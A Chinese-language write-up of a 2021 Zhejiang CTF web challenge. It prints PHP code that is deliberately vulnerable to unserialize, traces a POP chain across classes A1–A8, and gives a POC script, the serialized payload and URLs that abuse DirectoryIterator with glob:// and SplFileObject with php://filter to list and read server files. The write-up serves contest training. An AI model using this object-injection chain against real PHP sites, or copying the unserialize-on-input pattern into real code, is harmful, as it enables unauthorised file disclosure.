2021浙江网络安全省赛Web2


目录

漏洞类型

解题思路

解题流程

新知识点

题目地址

漏洞类型

反序列化

文件读取

解题思路

首先 预览代码,发现函数 unserialize 判断反序列化知识点,并且有多个类可能考察pop链
第一:四个魔术方法__construct__wakeup__call__toString__invoke;
第二:传输 pop参数数据后触发 A类的__wakeup此为切入点;
第三:审计代码发现A8中的echo new $this->tmp1($this->tmp2); tmp1与tmp2可控,所以我要调用hack4fun方法;
第四:A6 类调用了 hack4fun方法 所以我们要调用_toString方法;
第五:A4 类将变量tmp1进行了输出,若将变量定义为一个类,则将调用_toString方法,所以需要调用get_flag方法;
第六:A3类调用了get_flag方法,所以我们要调用hacking方法;
第七:A1 类调用了hacking方法, 所以我们要调用_wakeup方法;
第八:只要我们传入DASCTF,就会调用_wakeup方法;
第九: 给DAS以及CTF传参,利用原生类结合伪协议读取文件;

解题流程

源代码

<?php
error_reporting(0);
class A1{
    public $tmp1;
    public $tmp2;
    public function __construct()
    {
        echo "Enjoy Hacking!";
    }
    public function __wakeup()
    {
        $this->tmp1->hacking();
    }
}
class A2
{
    public $tmp1;
    public $tmp2;
    public function hacking()
    {
        echo "Hacked By Bi0x";
    }
}
class A3
{
    public $tmp1;
    public $tmp2;
    public function hacking()
    {
        $this->tmp2->get_flag();
    }
}
class A4
{
    public $tmp1='1919810';
    public $tmp2;
    public function get_flag()
    {
        echo "flag{".$this->tmp1."}";
    }
}
class A5
{
    public $tmp1;
    public $tmp2;
    public function __call($a,$b)
    {
        $f=$this->tmp1;
        $f();
    }
}
class A6
{
    public $tmp1;
    public $tmp2;
    public function __toString()
    {
        $this->tmp1->hack4fun();
        return "114514";
    }
}
class A7
{
    public $tmp1="Hello World!";
    public $tmp2;
    public function __invoke()
    {
        echo "114514".$this->tmp2.$this->tmp1;
    }
}
class A8
{
    public $tmp1;
    public $tmp2;
    public function hack4fun()
    {
        echo "Last step,Ganbadie~";
        if(isset($_GET['DAS']))
        {
            $this->tmp1=$_GET['DAS'];
        }
        if(isset($_GET['CTF']))
        {
            $this->tmp2=$_GET['CTF'];
        }
        echo new $this->tmp1($this->tmp2);
    }
}
if(isset($_GET['DASCTF']))
{
    unserialize($_GET['DASCTF']);
}
else{
    highlight_file(__FILE__);
}

逆向推理:

A8中变量tmp1,tmp2可控 hack4fun => A6 toString
A6 toString => A4 get_flag
A4 get_flag => A3 hacking
A3 hacking => A1 wakeup
A1 wakeup => 输入反序列字符串

正向推理即为:

?DASCTF=反序列化字符串
A1 wakeup tmp1 = new A3()
A3 hacking tmp2 = new A4()
A4 get_flag tmp1 = new A6()
A6 toString tmp1 = new A8()

POC

<?php
error_reporting(0);
class A1{
    public $tmp1;
    public $tmp2;
    public function __construct()
    {
        $this->tmp1 =new A3();
    }
    public function __wakeup()
    {
        $this->tmp1->hacking();
    }
}

class A3
{
    public $tmp1;
    public $tmp2;
    public function __construct()
    {
        $this->tmp2 = new A4();
    }
    public function hacking()
    {
        $this->tmp2->get_flag();
    }
}
class A4
{
    public $tmp1='1919810';
    public $tmp2;

    public function __construct()
    {
        $this->tmp1 = new A6();
    }

    public function get_flag()
    {
        echo "flag{".$this->tmp1."}";
    }
}

class A6
{
    public $tmp1;
    public $tmp2;
    public function __construct()
    {
        $this-> tmp1 = new A8();
    }
    public function __toString()
    {
        $this->tmp1->hack4fun();
        return "114514";
    }
}

class A8
{
    public $tmp1;
    public $tmp2;
    public function hack4fun()
    {
        echo "Last step,Ganbadie~";
        if(isset($_GET['DAS']))
        {
            $this->tmp1=$_GET['DAS'];
        }
        if(isset($_GET['CTF']))
        {
            $this->tmp2=$_GET['CTF'];
        }
        echo new $this->tmp1($this->tmp2);
    }
}
if(isset($_GET['DASCTF']))
{
    unserialize($_GET['DASCTF']);
}
else{
    highlight_file(__FILE__);
}

$a = new A1();
echo urldecode(serialize($a));

得到部分payload

O:2:"A1":2:{s:4:"tmp1";O:2:"A3":2:{s:4:"tmp1";N;s:4:"tmp2";O:2:"A4":2:{s:4:"tmp1";O:2:"A6":2:{s:4:"tmp1";O:2:"A8":2:{s:4:"tmp1";N;s:4:"tmp2";N;}s:4:"tmp2";N;}s:4:"tmp2";N;}}s:4:"tmp2";N;}

将上方的payload传入DASCTF参数即可

这个时候当字符串反序列化到A8这个类中,需要我们传入DAS以及CTF参数,其中关键代码如下:

echo new $this->tmp1($this->tmp2);

因此我们先把flag文件名找出来,我们可以利用DirectoryIterator类结合glob遍历目录,得到flag文件名为flaggggggggggg.php

?DAS=DirectoryIterator&CTF=glob://flag*

得到文件名之后就读取文件,利用SplFileObject类结合伪协议读取flaggggggggggg.php文件

?DASCTF=O%3A2%3A%22A1%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A3%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BO%3A2%3A%22A4%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A6%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A8%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BN%3B%7Ds%3A4%3A%22tmp2%22%3BN%3B%7Ds%3A4%3A%22tmp2%22%3BN%3B%7D%7Ds%3A4%3A%22tmp2%22%3BN%3B%7D&DAS=SplFileObject&CTF=php://filter/convert.base64-encode/resource=flaggggggggggg.php

最终再将浏览器的回显进行base64解码即可得到flag

新知识点

原生类结合伪协议读取文件

题目地址

https://www.xiinnn.com/article/5ba4634b.html#%E5%8E%9F%E7%94%9F%E7%B1%BB%EF%BC%9A